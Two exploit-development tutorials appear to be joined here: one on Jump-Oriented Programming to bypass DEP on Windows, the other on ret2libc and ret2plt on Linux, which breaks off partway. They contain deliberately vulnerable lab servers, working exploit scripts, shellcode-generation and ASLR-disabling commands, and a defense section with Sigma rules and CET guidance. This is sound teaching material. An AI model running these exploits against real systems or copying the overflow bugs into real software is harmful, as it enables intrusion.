Jump-Oriented Programming (JOP): Dispatcher Gadgets and Functional Chains
You have RIP control on a DEP-protected target. The stack is non-executable, so your injected shellcode is dead weight. Return-Oriented Programming is the reflex answer, but suppose the EDR on that box counts ret frequency and stack-pointer churn, or the binary shipped with a shadow stack that shreds any ROP chain the moment the first gadget returns. ROP is off the table. JOP is what you reach for next: a code-reuse technique that never touches ret and never lets the stack drive control flow.
Objective: Understand how Jump-Oriented Programming replaces the RET-driven control flow of ROP with a register-held dispatch table and a dispatcher gadget, learn the canonical gadget taxonomy, build a working JOP chain against an intentionally vulnerable lab server to bypass DEP, and see exactly how defenders catch it with hardware telemetry, ETW, and Intel CET.
1. Code-Reuse Attacks: From ret2libc to ROP to JOP
DEP (NX) killed the classic jmp esp into stack shellcode. Mark the stack and heap non-executable and injected code simply faults on the first byte. The attacker response was to stop injecting code and start reusing code that is already mapped executable.
ret2libc came first: overwrite the saved return address with the address of a libc function like system, stack the arguments behind it, let the epilogue do the call. ROP generalized that into Turing-complete computation by chaining short instruction sequences that each end in ret. The stack becomes a program: the stack pointer is the instruction pointer, and every ret pops the next gadget address.
That reliance on ret and the stack is exactly the weakness defenders learned to exploit. Shadow stacks, ret-frequency heuristics, stack-pivot detection, canary checks: nearly every anti-ROP control keys on the stack or the return instruction.
JOP is the evolution that sidesteps all of it. Bletsch et al. defined it at AsiaCCS 2011 as a code-reuse attack that abandons ret entirely and chains gadgets ending in indirect branches (jmp reg, call reg, jmp [reg]) instead. Because almost every known ROP defense depends on ret or the stack, most of them are structurally blind to a well-built JOP chain. That is the whole point.
2. The Stack vs. The Dispatch Table: JOP’s Architectural Divergence
ROP has a natural chaining mechanism baked into the hardware. ret pops an address off the stack and jumps to it, so stacking gadget addresses is enough. jmp has no such convenience. A raw jmp reg jumps once and there is nothing that advances to the next gadget. That is the core chaining problem JOP has to solve.
The solution is a dispatcher gadget plus a dispatch table. Instead of the stack pointer walking a list of return addresses, a general-purpose register walks a table of functional gadget addresses that lives in ordinary read/write memory. Every functional gadget, after doing its work, jumps back to the dispatcher. The dispatcher advances the table pointer by one slot and jumps to whatever address that slot now holds.
| Register / Structure | Role |
|---|---|
| Dispatch Table (DT) | Array of functional gadget addresses in any RW memory (heap, BSS, sprayed region). ROP’s equivalent is tied to the stack; JOP’s is not. |
| DT Register | Register holding the current position in the dispatch table (the JOP program counter). |
| DG Register | Register holding the address of the dispatcher gadget. Every functional gadget jumps or calls through this. |
| Dispatch Registers | The DT and DG registers plus any scratch the dispatcher touches. These must be protected from clobbering across the whole chain. |
So ROP rides ESP and ret. JOP rides, say, ESI (DT) and ECX (DG) and never returns. The stack is still there and you will use it later to marshal WinAPI arguments, but it is no longer steering control flow.

3. JOP Gadget Taxonomy: Dispatcher, Functional, Initiator, and Delay Gadgets
Use the canonical vocabulary. These names come from Bletsch et al. and the JOP ROCKET research, and mixing them up will confuse anyone reading your chain.
| Gadget Type | Description |
|---|---|
| Dispatcher Gadget (DG) | Advances the DT pointer predictably and dereferences the result to jump to the next functional gadget. Classic x86 form: add ecx, 4 ; jmp [ecx]. |
| Functional Gadget | Ends with an indirect jump or call rather than ret. Performs the actual work: load, store, arithmetic, WinAPI setup. |
| Initiator / Trampoline Gadget | Bootstraps the chain, loading registers and jumping into the first functional gadget. |
| Dispatch Table (DT) | Memory array of functional gadget addresses walked by the dispatcher. |
| Delay Gadget | A no-op-ish gadget inserted between real gadgets to smear branch-frequency signatures and evade detection. |
| Two-Gadget Dispatcher | Splits the advance and the dereference-jump across two cooperating gadgets, expanding the usable gadget surface. |
The dispatcher is the heart of the machine, so its requirements are strict. It must atomically advance the DT register and then dereference-and-jump. The canonical single-gadget forms:
; x64 dispatcher: advance table pointer by 8, jump to slot contents
add rax, 8
jmp [rax]
; x86 dispatcher: advance by 4
add ecx, 4
jmp [ecx]
Keep it short. Every instruction between the add and the indirect branch is a chance to clobber a dispatch register. A dispatcher that trashes ESI (your DT register) between the advance and the jump is worthless. The USD gadget-analysis heuristic is blunt: the more registers touched in that window, the lower the candidate’s quality.
Functional gadgets have two hard requirements. First, do something useful. Second, end with jmp <DG_reg> or call <DG_reg> and do not corrupt the dispatch registers on the way out. A gadget that loads EAX from a pointer and then jumps back to the dispatcher is a keeper:
; functional gadget: load a value, return control to dispatcher in ecx
mov eax, [edx]
jmp ecx
One discovery technique worth internalizing: opcode splitting. x86 is a variable-length, unaligned ISA, so you can jump into the middle of an intended instruction and the CPU decodes a completely different sequence. A 5-byte mov might contain a valid jmp [ecx] two bytes in. Gadget finders scan every byte offset for exactly this reason, and JOP’s usable gadget pool is dominated by these unintended sequences.
4. The Dispatcher Loop: How a JOP Chain Executes
Once primed, the whole thing is a loop driven by the dispatcher. The stack contributes nothing to control flow after the initial bootstrap.
[Initiator]
|
v
[Dispatcher Gadget] --advance DT ptr--> jmp [DT_reg]
^ |
| v
+----- jmp DG_reg ----- [Functional Gadget 1]
| |
| (dispatcher advances) v
+----- jmp DG_reg ----- [Functional Gadget 2]
| |
... ...
+----- jmp DG_reg ----- [Functional Gadget N: call VirtualAlloc]
|
v
[Shellcode / WinAPI result]
Trace one iteration on x86 with ECX = DG register and ESI = DT register:
- Control is inside a functional gadget. Its last instruction is
jmp ecx. ECXpoints at the dispatcher:add esi, 4 ; jmp [esi]. Wait, note the dispatcher advances the DT register, which in this layout isESI.ECXholds the dispatcher address so functional gadgets can reach it.- Dispatcher runs
add esi, 4, moving the DT pointer to the next slot. - Dispatcher runs
jmp [esi], dereferencing that slot and jumping into the next functional gadget. - That gadget does its work and ends in
jmp ecx, closing the loop.
The dispatch table is just an array of gadget addresses; advancing ESI by 4 each pass steps through them in order. Reorder the table and you reorder the program. That flexibility, sitting in plain RW memory instead of on the stack, is JOP’s defining property.

5. Gadget Discovery with JOP ROCKET and ROPgadget
The purpose-built tool for Windows JOP is JOP ROCKET (Brizendine and Babcock), a Python program built on the Capstone disassembly engine that finds dispatchers, classifies functional gadgets, and can emit full chains.
Run it against the target binary and any modules loaded without ASLR:
:: enumerate dispatcher candidates in the target and a classic non-ASLR module
python JOP_ROCKET.py --find-dispatcher --binary jop_vuln_server.exe
python JOP_ROCKET.py --find-dispatcher --module msvcrt.dll
:: classify functional gadgets by operation (load/store/arith/call)
python JOP_ROCKET.py --find-functional --module msvcrt.dll
Representative (trimmed) output you are looking for:
[+] Dispatcher candidates (msvcrt.dll):
0x77c21a0e add ecx, 4 ; jmp dword [ecx] (clobbers: none) QUALITY: high
0x77c3b512 add esi, 8 ; jmp dword [esi] (clobbers: eax) QUALITY: med
[+] Functional gadgets:
[load] 0x77c1f2a1 mov eax, [edx] ; jmp ecx
[store] 0x77c40b73 mov [edi], eax ; jmp ecx
[arith] 0x77c2ccd0 add eax, ebx ; jmp ecx
[call] 0x77c55e10 call [ebp+0x8] ; jmp ecx
The QUALITY and clobbers fields are what matter. A dispatcher that clobbers EAX between advance and jump is only usable if nothing in your chain relies on EAX surviving the dispatcher. Filter aggressively.
Cross-check with a general-purpose finder. ROPgadget will surface raw jmp reg and jmp [reg] sequences and dispatcher-shaped combinations:
# raw indirect jumps through a register-held pointer
ROPgadget --binary msvcrt.dll --jmp | grep "jmp \[e"
# dispatcher-shaped candidates: an add followed by an indirect jump
ROPgadget --binary msvcrt.dll --filter "add.*jmp"
xgadget is the fast, multi-threaded alternative if you are scanning large module sets and it handles both ROP and JOP output. Whatever you use, the workflow is the same: find one clean dispatcher, then collect functional gadgets that cover load, store, arithmetic, and a call primitive, all ending in a jump back through your chosen DG register.
6. Lab: Building a JOP Chain to Bypass DEP, Step by Step
The target
Build the intentionally vulnerable server. It has a fixed 512-byte buffer and a recv that reads up to 2048 bytes straight into it. Classic stack overflow, GS off, DEP on, ASLR off for the lab so addresses stay fixed.
// jop_vuln_server.c -- LAB TARGET ONLY, intentionally vulnerable
#include <winsock2.h>
#include <stdio.h>
#pragma comment(lib, "ws2_32.lib")
void vuln_recv(SOCKET s) {
char buf[512]; // fixed buffer
int n = recv(s, buf, 2048, 0); // oversized recv -> overflow
printf("Received %d bytes\n", n);
}
int main() {
WSADATA w; WSAStartup(MAKEWORD(2,2), &w);
SOCKET srv = socket(AF_INET, SOCK_STREAM, 0);
struct sockaddr_in addr = {AF_INET, htons(9999), {INADDR_ANY}};
bind(srv, (struct sockaddr*)&addr, sizeof(addr));
listen(srv, 1);
SOCKET cl = accept(srv, NULL, NULL);
vuln_recv(cl);
closesocket(cl); closesocket(srv);
WSACleanup();
}
Compile for 32-bit x86 with GS off, DEP on, ASLR off:
cl /GS- /Zi /Od jop_vuln_server.c /link /NXCOMPAT /DYNAMICBASE:NO
Step 1: Crash recon
Send a cyclic pattern and read the faulting EIP.
# crash_recon.py -- send a De Bruijn pattern to locate the EIP offset
import socket
# msf-pattern_create -l 2048 produces the pattern; paste it here
pattern = b"Aa0Aa1Aa2Aa3...." # De Bruijn sequence, 2048 bytes
s = socket.socket(); s.connect(("127.0.0.1", 9999))
s.send(pattern); s.close()
Attach WinDbg to the server, let it crash, and read the faulting instruction pointer:
0:000> !analyze -v
0:000> r eip
eip=37674136
Resolve the offset:
msf-pattern_offset -q 37674136
# [*] Exact match at offset 524
Step 2: Confirm EIP control
offset = 524
payload = b"A" * offset + b"B" * 4 # EIP should become 0x42424242
In WinDbg after the crash: r eip returns 42424242. You own the instruction pointer. Everything from here is arranging what it points to.
Step 3: Gadget discovery
Run JOP ROCKET and ROPgadget against the target and msvcrt.dll (loaded, no ASLR in this lab). Collect:
- one clean dispatcher, e.g.
add ecx, 4 ; jmp [ecx], - two
pop reg ; retgadgets to prime the dispatch registers, - functional gadgets that set up and call
VirtualAlloc(orVirtualProtect), - a gadget that transfers control to the freshly RWX region.
Record the resolved addresses. In the exploit below they appear as placeholders because they are build-specific; fill them from your own scan output.
Step 4: Prime the dispatch registers (the permitted ROP bootstrap)
JOP needs the DG register and the DT register loaded before the loop can spin. You could do that with JOP, but the pragmatic move, and the one in the JOP ROCKET methodology, is two pop ROP gadgets. That is the entire ROP footprint. After this, not one more ret.
Payload layout (x86):
[ 524 bytes padding ]
[ pop ecx ; ret ] <- load DG register (ECX = dispatcher addr)
[ addr of dispatcher ] <- value popped into ECX
[ pop esi ; ret ] <- load DT register (ESI = dispatch table addr)
[ addr of dispatch_tbl] <- value popped into ESI
[ initiator gadget ] <- jmp into the first functional gadget
Step 5: Construct the dispatch table
The dispatch table is a flat array of functional gadget addresses. Place it in a predictable RW region (fixed BSS or a heap spray). Each slot is one gadget; the dispatcher walks them in order.
import struct
p32 = lambda x: struct.pack("<I", x)
# Resolved from your gadget scan:
DISP_GADGET = 0x00000000 # add ecx, 4 ; jmp [ecx]
FG_SETUP_ARG1 = 0x00000000 # stage VirtualAlloc arg (lpAddress/size)
FG_SETUP_ARG2 = 0x00000000 # stage VirtualAlloc arg (flAllocationType/protect)
FG_CALL_VALLOC = 0x00000000 # call VirtualAlloc ; jmp ecx
FG_COPY_SC = 0x00000000 # copy shellcode into the RWX region
FG_JMP_SC = 0x00000000 # transfer control to shellcode
dispatch_table = (p32(FG_SETUP_ARG1) + p32(FG_SETUP_ARG2) +
p32(FG_CALL_VALLOC) + p32(FG_COPY_SC) + p32(FG_JMP_SC))
Step 6: Full exploit and code execution
Generate lab shellcode first, null-free:
msfvenom -p windows/exec CMD=calc.exe -f python -b "\x00\x0a\x0d"
Then assemble the payload. The overflow drops into the two ROP bootstrap gadgets, which load ECX and ESI, then hands off to the initiator, which jumps into the JOP loop.
import socket, struct
p32 = lambda x: struct.pack("<I", x)
# --- resolved addresses (lab build, no ASLR) ---
POP_ECX_RET = 0x00000000 # pop ecx ; ret (loads DG register)
POP_ESI_RET = 0x00000000 # pop esi ; ret (loads DT register)
DISP_GADGET = 0x00000000 # add ecx, 4 ; jmp [ecx]
DT_ADDR = 0x00000000 # writable region holding dispatch_table
INITIATOR = 0x00000000 # first functional gadget entry
# --- lab shellcode (msfvenom windows/exec calc.exe, null-free) ---
shellcode = b"\x90" * 16 + b"<msfvenom output bytes here>"
offset = 524
payload = b"A" * offset
payload += p32(POP_ECX_RET) # ROP bootstrap 1
payload += p32(DISP_GADGET) # -> ECX = dispatcher address
payload += p32(POP_ESI_RET) # ROP bootstrap 2
payload += p32(DT_ADDR) # -> ESI = dispatch table base
payload += p32(INITIATOR) # jump into the JOP chain
# dispatch_table and shellcode are pre-placed at DT_ADDR
# (fixed BSS in this lab, or a heap spray in a hardened target)
s = socket.socket(); s.connect(("127.0.0.1", 9999))
s.send(payload); s.close()
print("[*] Payload sent -- watch for calc.exe")
Step 7: Verify in WinDbg
Confirm the machine is actually running the way you designed it: the DT register advancing by 4 each pass, the stack pointer static.
0:000> bp 0x00000000 ; breakpoint on DISP_GADGET
0:000> g
0:000> dd esi ; DT pointer -- note the value
0:000> t ; step: add esi,4 ; jmp [esi]
0:000> dd esi ; DT pointer advanced by 4
0:000> !address esp ; ESP unchanged -- stack is NOT driving control flow
Each time you hit the dispatcher breakpoint, ESI is 4 higher and ESP has not moved. That is the whole thesis of JOP in front of you: the stack is inert, a register walks the table, and DEP never fired because you never executed data as code until the final RWX hand-off.
7. Shellcode-less JOP: Calling WinAPI Directly
You can make the attack DEP-proof end to end by never allocating executable memory at all. Instead of VirtualAlloc(RWX) -> copy -> jump, the functional chain marshals arguments onto the stack and calls a Win32 API directly. WinExec("calc.exe", SW_SHOW) is the classic demonstration: one API, two arguments, no shellcode.
The functional gadgets stage the argument frame (still using the stack as data, which DEP permits), then a call [reg]-terminated gadget invokes the import. Because no page is ever both attacker-written and executable, there is nothing for DEP to catch and nothing for Arbitrary Code Guard to block. This is why JOP ROCKET emphasizes shellcode-less chains: against ACG-hardened processes like Edge content processes, the RWX route is dead and return-to-WinAPI is the only path left.
8. Novel Dispatcher Variants: Two-Gadget Dispatchers and CFI-Resistant Gadgets
The single-gadget dispatcher add reg, N ; jmp [reg] is elegant but sometimes it just is not present in your available modules. The two-gadget dispatcher (Brizendine and Babcock, 2021) splits the job: one gadget advances the DT index, a cooperating gadget performs the dereference-and-jump. Neither alone looks like a dispatcher, so the technique dramatically widens the pool of viable chains in binaries that lack a clean single-gadget form.
Control Flow Integrity changes the discovery game. Intel CET IBT requires an ENDBR32/ENDBR64 marker at every legal indirect-branch target and raises a control-protection fault (#CP) on any indirect jmp/call that lands somewhere else. Under IBT, your functional gadgets can only start at ENDBR-prefixed addresses, which shrinks the surface enormously. Attackers respond by hunting for CFI-resistant gadgets: useful sequences that happen to sit right after a legitimate ENDBR marker. IBT limits JOP but does not eliminate it, because any function entry point CFI blesses is a legal landing zone, and some of those entry points do useful work before their first branch.
9. Common Attacker Techniques
| Technique | Description |
|---|---|
| Dispatcher paradigm | Register-held dispatch table walked by a single dispatcher gadget; the standard full JOP chain. |
| BYOPJ (Bring Your Own Pop-Jump) | Chain pop X ; jmp X sequences to load and jump per gadget (Checkoway and Shacham). |
| Two-gadget dispatcher | Split advance and dereference-jump across two gadgets to expand the usable gadget pool. |
| Delay gadget insertion | Interleave no-op-style gadgets to smear indirect-branch frequency and dodge heuristics. |
| Shellcode-less return-to-WinAPI | Marshal args and call an import (WinExec, VirtualProtect) with no injected code, defeating ACG. |
| Opcode splitting | Decode unintended gadgets from mid-instruction byte offsets to grow the gadget set. |
The reason any of this is worth an attacker’s effort is stated plainly in the literature: JOP abandons ret and the stack for control flow, and nearly every ROP defense keys on exactly those two things. A complete JOP exploit can be built without a single ROP gadget beyond the two-pop bootstrap.
10. Defensive Strategies & Detection
JOP defeats stack- and ret-centric controls, so detection moves down to the hardware and out to behavior.
Hardware and OS mitigations
| Mitigation | Mechanism | JOP Relevance |
|---|---|---|
| Intel CET IBT | ENDBR32/64 required at valid indirect targets; #CP on violation | Constrains functional gadget targets to ENDBR-prefixed locations, shrinking the surface hard |
| Intel CET Shadow Stack | Hardware-enforced parallel return-address stack | Blocks ROP; does not block jmp-based JOP |
| Windows CFG | Bitmap of valid indirect call targets checked via __guard_check_icall_fptr | Constrains call-terminated gadgets; jmp-terminated gadgets may slip past older CFG |
| DEP / NX | Non-executable stack and heap | JOP bypasses it entirely; DEP is the reason JOP exists |
| ACG | Blocks dynamic code generation (RWX allocation) | Forces shellcode-less return-to-WinAPI chains |
Hardware telemetry
Intel LBR (Last Branch Record) and PMU counters are the sharpest JOP signal. An abnormally high rate of indirect branches (jmp [reg]) with no intervening ret is a strong heuristic. Track BR_MISP_EXEC.ALL_BRANCHES and indirect-call counters; code-reuse payloads push branch misprediction rates outside normal application envelopes.
Sysmon and ETW
| Event ID | Name | JOP Relevance |
|---|---|---|
| Sysmon EID 1 | Process Create | Child process from a network-facing service (calc from a listener) |
| Sysmon EID 8 | CreateRemoteThread | Post-exploitation cross-process injection |
| Sysmon EID 10 | ProcessAccess | Suspicious OpenProcess with PROCESS_VM_WRITE |
| Sysmon EID 17/18 | Pipe Created/Connected | C2 comms after payload execution |
Microsoft-Windows-Threat-Intelligence (ETWTI) hooks VirtualAllocEx, WriteProcessMemory, and ProtectVirtualMemory at kernel level and flags PAGE_EXECUTE_READWRITE allocations from user space, which catches the RWX flavor of JOP even when the chain itself is invisible. Subscribing requires PPL or a kernel driver. Microsoft-Windows-Kernel-Process tracks executable memory events, and Microsoft-Windows-Security-Auditing EID 4688 covers downstream process creation with command line.
Sigma
Behavioral outcome rule, network service spawning a shell:
title: Suspicious Child Process from JOP-Vulnerable Network Service
logsource:
product: windows
service: sysmon
detection:
selection:
EventID: 1
ParentImage|endswith:
- '\jop_vuln_server.exe'
Image|endswith:
- '\calc.exe'
- '\cmd.exe'
- '\powershell.exe'
condition: selection
level: high
Memory-access rule for post-exploitation injection:
title: Full-Access Process Handle to LSASS Post-Exploitation
logsource:
product: windows
service: sysmon
detection:
selection:
EventID: 10
GrantedAccess: '0x1fffff' # PROCESS_ALL_ACCESS
TargetImage|endswith: '\lsass.exe'
condition: selection
level: high
Hardening, ordered by impact
- Enable Intel CET (IBT + Shadow Stack) on Windows 11 with 11th-gen Intel or AMD Zen 3+; set via
SetProcessMitigationPolicy(ProcessUserShadowStackPolicy)andProcessDynamicCodePolicy. - Enable CFG with
/guard:cfand ensure every loaded module is CFG-aware. - Enable ACG via
ProcessDynamicCodePolicyto kill RWX allocation, forcing shellcode-less chains only. - Keep DEP always-on (
/NXCOMPAT,BCDEdit /set nx AlwaysOn). - Deploy EDR with PMU/LBR integration for indirect-branch anomaly telemetry.
- Trim the module load surface so fewer DLLs means fewer gadgets.

11. Tools for JOP Analysis
| Tool | Description | Link |
|---|---|---|
| JOP ROCKET | Capstone-based Python tool that finds dispatchers, classifies functional gadgets, and builds Windows JOP chains | github.com/Bw3ll/JOP_ROCKET |
| ROPgadget | General gadget finder; surfaces jmp reg / jmp [reg] and dispatcher-shaped sequences | github.com |
| xgadget | Fast multi-threaded ROP/JOP gadget discovery | docs.rs |
| Capstone | Disassembly engine underpinning gadget identification | capstone-engine.org |
| WinDbg | Dynamic tracing of the dispatch loop and DT register advance | microsoft.com |
| pwndbg | GDB plugin for pattern generation and offset discovery | github.com |
| nasm | Assembling stub payloads for the lab target | nasm.us |
| msfvenom | Shellcode generation with bad-char avoidance | metasploit.com |
12. MITRE ATT&CK Mapping
ATT&CK does not model JOP as its own technique. It is an exploitation mechanism for achieving code execution despite DEP and CFG, not a standalone tactic, so map it by what the chain accomplishes rather than forcing a single ID.
| Technique | MITRE ID | Detection |
|---|---|---|
| Exploitation for Client Execution | T1203 | Crash telemetry, exploit-guard events on the vulnerable client |
| Exploitation for Defense Evasion | T1211 | PMU/LBR indirect-branch anomalies; CET #CP faults |
| Process Injection | T1055 | Sysmon EID 8/10; ETWTI on WriteProcessMemory |
| Impair Defenses: Downgrade Attack | T1562.010 | Config auditing of CET/CFG mitigation policy state |
The most defensible primary mappings are T1203 for the exploitation trigger and T1211 for the DEP-bypass-via-code-reuse. Defensive coverage lands on M1050 (Exploit Protection: CET, CFG, DEP) and M1040 (Behavior Prevention on Endpoint: EDR with PMU telemetry). Do not cite one T-ID as “the JOP technique.”
Summary
- JOP is code reuse without
retor the stack, driven by a dispatcher gadget that walks a register-held dispatch table. That single architectural choice makes almost every ROP defense structurally blind to it. - The canonical vocabulary matters: dispatcher gadget (
add reg, N ; jmp [reg]), functional gadgets ending injmp/call reg, the dispatch table in RW memory, and the DT/DG dispatch registers that must survive the whole chain. - A practical Windows chain uses a two-
popROP bootstrap to prime the DG and DT registers, then loops functional gadgets to callVirtualAlloc/VirtualProtector, for full DEP-proofing, calls a WinAPI directly with no shellcode at all. - Detection moves to hardware and behavior: LBR/PMU indirect-branch anomalies, ETWTI on executable-memory allocation, and Sysmon EID 1/8/10 for the downstream outcome.
- Intel CET IBT and shadow stack, CFG, and ACG are the real countermeasures. IBT shrinks the functional gadget surface to
ENDBR-prefixed targets; the shadow stack stops ROP but not JOP; ACG forces shellcode-less chains. Layer them.
Related Tutorials
- Egghunters: Staged Payload Delivery When Buffer Space Is Tight
- Shellcode Encoders: XOR Encoding, Custom Decoders, and Avoiding Bad Chars
- Position-Independent Code: Writing PIC Shellcode Without Hardcoded Addresses
- Writing x64 Shellcode: Differences, Shadow Space, and Register Conventions
- Writing Your First Shellcode: x86 Reverse Shell from Scratch
References
- Jump-Oriented Programming: A New Class of Code-Reuse Attack (Bletsch et al., NC State TR-2010-8)
- JOP ROCKET: Bypassing DEP with Jump-Oriented Programming – HITB Security Conference 2021 (Brizendine & Babcock)
- ARM Developer Documentation: Jump-Oriented Programming (Official ARM Security Guide)
- Advanced Code-Reuse Attacks with Jump-Oriented Programming (Black Hat MEA – Shellcodeless JOP)
ret2libc and ret2plt: Leveraging Existing Code Without Shellcode
NX killed shellcode. That is the short version of why this technique exists. The moment the stack stopped being executable, dropping a blob of \x31\xc0\x50... onto it and jumping in became a dead end. But the attacker still controls the saved return address, and the process is already linked against a giant executable library full of useful functions. So instead of injecting new code, you reuse what is already mapped. Point the return address at system() in libc, hand it "/bin/sh", and you have a shell without writing a single byte of shellcode.
Objective: Build an intentionally vulnerable ELF target, then defeat NX with
ret2libcand defeat ASLR withret2plt, chaining a GOT-based libc leak into asystem("/bin/sh")call in both 32-bit and 64-bit. Every offensive stage is paired with how a defender sees it on Linux.
1. Why Shellcode Isn’t Always an Option
Two mitigations shape this entire tutorial:
- NX / DEP marks the stack and heap non-executable. Your overflow still overwrites the return address, but you cannot execute data you planted there. This is the reason
ret2libcwas invented: redirect into existing executable code instead. - ASLR randomises the base of the stack, heap, and shared libraries on every run. Hardcoding an address for
system()breaks the moment ASLR is on. This is the reasonret2pltexists: you leak a live libc address at runtime instead of guessing it.
The plan is code reuse. Nothing you jump to is code you wrote. You are living off the binary and its libraries, calling functions that were already loaded, already executable, and already trusted by the loader.
2. ELF Dynamic Linking Internals: PLT, GOT, and Lazy Binding
Both techniques stand on how ELF resolves calls into shared libraries. When a dynamically linked program calls puts, it does not call libc directly. It calls a stub in the Procedure Linkage Table (PLT), which jumps through a slot in the Global Offset Table (GOT).
| Construct | Full Name | What It Does |
|---|---|---|
.plt | Procedure Linkage Table | Executable stubs. Each stub begins with an indirect jmp through a GOT slot. |
.got.plt | Global Offset Table (PLT part) | Writable table of resolved runtime pointers, one slot per imported function. |
| Lazy binding | – | The dynamic linker resolves a symbol only on its first call. Until then the GOT slot points back into the resolver. |
| RELRO | Relocation Read-Only | Hardening that controls whether the GOT stays writable. |
Lazy binding is the key idea. The program does not know libc’s runtime address for puts until puts is actually called. On that first call, control lands in the PLT stub, which jumps to a GOT slot that still points back into the PLT resolver stub. The resolver (_dl_runtime_resolve) walks the relocation and symbol tables (DT_JMPREL, DT_SYMTAB, DT_STRTAB), finds the real address of puts inside libc, writes it into the GOT slot, and jumps there. Every subsequent call reads the now-patched slot and jumps straight into libc.
Disassemble a stub to see this concretely:
objdump -d ./vuln64 -j .plt
0000000000401030 <puts@plt>:
401030: ff 25 e2 2f 00 00 jmp QWORD PTR [rip+0x2fe2] # 404018 <puts@got.plt>
401036: 68 00 00 00 00 push 0x0 # relocation index
40103b: e9 e0 ff ff ff jmp 401020 <.plt> # jump to resolver
The relocation records that drive _dl_runtime_resolve are visible too:
objdump -R ./vuln64
OFFSET TYPE VALUE
0000000000404018 R_X86_64_JUMP_SLOT puts@GLIBC_2.2.5
The OFFSET here is the r_offset field of the Elf64_Rela entry: the exact GOT slot address that gets patched. Two facts fall out of this and drive everything below:
- The
.pltaddress ofputsis fixed inside a non-PIE binary. It is part of the executable, so ASLR does not move it. You can always callputs@plt. - After the first call, the GOT slot for
putsholds a live libc pointer. Read it and you have defeated library ASLR.

3. Binary Protections Inventory: checksec and What Each Flag Means
Before touching a target, enumerate its defenses. checksec (shipped with pwntools and pwndbg) reads them straight out of the ELF header.
checksec --file=./vuln32
| Flag | Meaning | Impact on This Attack |
|---|---|---|
| NX | Stack/heap non-executable | Forces code reuse. This is what ret2libc bypasses. |
| ASLR | Randomised library/stack/heap bases | Forces a runtime leak. This is what ret2plt bypasses. |
| PIE | Binary’s own .text/PLT/GOT randomised | If on, you must leak a code pointer first to rebase the PLT. |
| RELRO None | GOT fully writable | Lazy binding active; leak targets plentiful. |
| RELRO Partial | .got read-only, .got.plt writable | Default on most distros; lazy binding preserved. |
RELRO Full (-z now) | Whole GOT resolved at startup, read-only | You cannot overwrite the GOT, but you can still read it. ret2plt leaks still work. |
| Stack Canary | Guard word before saved return address | Blocks the naive overflow entirely; out of scope here. |
| SHSTK / IBT (CET) | Shadow stack + indirect branch tracking | If enforced in hardware, classic ret chains need a bypass first. |
For the labs we deliberately compile with No canary, No PIE, and No RELRO, then toggle ASLR at the kernel level per lesson. That isolates each mitigation so you learn one bypass at a time.
4. Building the Lab Target
Here is the vulnerable program. It uses gets, which has no bounds check, into a 64-byte stack buffer.
// vuln_lab.c - intentionally vulnerable lab target
#include <stdio.h>
#include <string.h>
void vuln(void) {
char buf[64];
puts("Input: ");
gets(buf); // unsafe: no bounds check, classic stack overflow
}
int main(void) {
vuln();
puts("Done.");
return 0;
}
Compile a 32-bit and a 64-bit variant:
# 32-bit, no canary, no PIE, no RELRO
gcc -m32 -fno-stack-protector -no-pie -Wl,-z,norelro -o vuln32 vuln_lab.c
# 64-bit, same hardening disabled
gcc -fno-stack-protector -no-pie -Wl,-z,norelro -o vuln64 vuln_lab.c
Toggle ASLR for staged lessons. Run everything inside a VM or container you control.
# Disable ASLR (for the first ret2libc lesson only)
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
# Restore full ASLR (for the ret2plt lessons)
echo 2 | sudo tee /proc/sys/kernel/randomize_va_space
Find the offset to the saved return address with a de Bruijn pattern. In pwndbg:
# inside gdb/pwndbg
cyclic 200
run <<< $(cyclic 200)
# on crash, pwndbg prints the fault. Feed the value back:
cyclic -l 0x6161616c # -> 76 for the 32-bit build
For the 64-bit build the same procedure yields 72 bytes to $rip. Confirm both against your own crash, do not trust a number from a tutorial blindly. The compiler version and alignment padding can shift it.
5. ret2libc Without ASLR (32-bit)
Start with ASLR off so libc addresses are stable. The 32-bit cdecl convention passes arguments on the stack, laid out after the return slot. To call system("/bin/sh") you build a fake frame:
[ 76 bytes padding ][ &system ][ &exit ][ &"/bin/sh" ]
^ new EIP ^ return addr for ^ arg to system
system when it (read from stack)
returns
When vuln returns, EIP becomes system. system reads its argument from the stack (the pointer to "/bin/sh"), and when it finishes it returns into exit for a clean shutdown.
pwntools resolves all three addresses for you:
# exploit_ret2libc_noaslr.py
from pwn import *
elf = context.binary = ELF('./vuln32')
libc = elf.libc # the libc this binary is linked against
OFFSET = 76 # confirmed from cyclic
system_addr = libc.sym['system'] # fixed while ASLR is off
exit_addr = libc.sym['exit']
bin_sh_addr = next(libc.search(b'/bin/sh\x00'))
payload = b'A' * OFFSET
payload += p32(system_addr)
payload += p32(exit_addr) # clean return after the shell exits
payload += p32(bin_sh_addr)
p = process('./vuln32')
p.recvline()
p.sendline(payload)
p.interactive()
If you would rather source the addresses by hand, "/bin/sh" lives inside libc:
strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh
Run it, and gets overflows the buffer, the saved EIP becomes system, and you drop into a shell. That is ret2libc in its purest form. It only works because ASLR is off. Turn ASLR back on and libc.sym['system'] becomes a moving target. That is the problem ret2plt solves.
6. ret2libc on x86-64: Calling Conventions and Stack Alignment
On x86-64, the System V ABI passes the first integer argument in RDI, not on the stack. You cannot just lay the pointer after the return slot. You need a gadget that pops the stack into RDI and returns. Find one:
ROPgadget --binary ./vuln64 --rop | grep "pop rdi"
# or
ropper -f ./vuln64 --search "pop rdi; ret"
You are looking for something like pop rdi ; ret. Copy its address. Do not hardcode the value from this page, derive your own from your own binary.
The 64-bit frame to call system("/bin/sh") becomes:
[ 72 padding ][ pop_rdi; ret ][ &"/bin/sh" ][ &system ]
^ new RIP ^ popped into RDI ^ called with RDI set
There is one gotcha that cost me an hour the first time I hit it, so learn it now. Modern glibc system (and other functions) execute movaps instructions that require the stack to be 16-byte aligned. When you enter through a ROP chain, the stack is often off by 8 bytes, and system crashes deep inside with a SIGSEGV on a movaps xmm..., [rsp+...]. The fix is trivial once you know it: insert a single bare ret gadget before the libc call. That one ret pops 8 bytes and realigns the stack to a 16-byte boundary.
# find a bare ret for the alignment fix
ROPgadget --binary ./vuln64 --rop | grep ": ret$"
If your system call segfaults immediately inside libc rather than at your gadget, alignment is the first thing to check.

7. ret2plt: Leaking a libc Address Through the GOT
Turn ASLR back on:
echo 2 | sudo tee /proc/sys/kernel/randomize_va_space
Now libc.sym['system'] is randomised on every run, so the static exploit above fails. But recall two facts from Section 2. The .plt address of puts is fixed in a non-PIE binary, and after puts runs once its GOT slot holds a live libc pointer.
